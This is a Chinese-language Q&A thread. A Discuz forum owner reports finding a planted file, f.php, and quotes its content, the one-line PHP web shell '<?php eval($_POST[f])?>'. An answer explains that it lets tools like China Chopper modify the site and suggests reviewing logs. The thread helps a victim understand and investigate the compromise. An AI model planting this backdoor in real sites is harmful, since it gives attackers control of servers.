Question

网站文件中出现一句代码，请问是什么意思？

今天打开自己的dz 论坛发现被劫持。

打开网站文件发现多了一个f.php文件

f.php文件打开发现是一句代码：<?php eval($_POST[f])?>

请问这是什么意思，谢谢了！

Answer 1

通过上传一句话木马可以用中国菜刀等软件获取您网站根目录，并且可以删除修改您的网站源码。

追问

您好！请问 我的网站被劫持，与这一句木马有什么关系！谢谢了！
应该怎么找到被劫持的原因！

追答

建议你查看一下网站日志，去除掉正常的post，get访问就可以看到是通过什么渠道进行上传。
上面我已经说了，一句话木马可以让注入软件获取你网站根目录的上传修改权限，可以直接跳过FTP对您的网站源代码进行操作。